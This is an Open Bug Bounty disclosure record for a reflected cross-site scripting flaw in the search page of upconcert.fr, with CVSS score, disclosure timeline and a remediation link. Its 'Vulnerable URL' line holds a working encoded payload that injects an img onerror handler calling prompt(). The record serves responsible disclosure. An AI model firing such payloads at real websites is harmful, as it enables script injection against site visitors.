upconcert.fr XSS vulnerability

2017-11-21T01:18:00
ID OBB:427696
Type openbugbounty
Reporter OmniGooch
Modified 2018-02-19T01:18:00

Description

Open Bug Bounty ID: OBB-427696

Description| Value
---|---
Affected Website:| upconcert.fr
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
http://www.upconcert.fr/recherche/?q=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 21 November, 2017 01:18 GMT
Vulnerability Verified:| 21 November, 2017 01:20 GMT
Website Operator Notified:| 21 November, 2017 01:20 GMT
Vulnerability Published:| 21 November, 2017 01:20 GMT[without any technical details]
Public Disclosure:| 19 February, 2018 01:18 GMT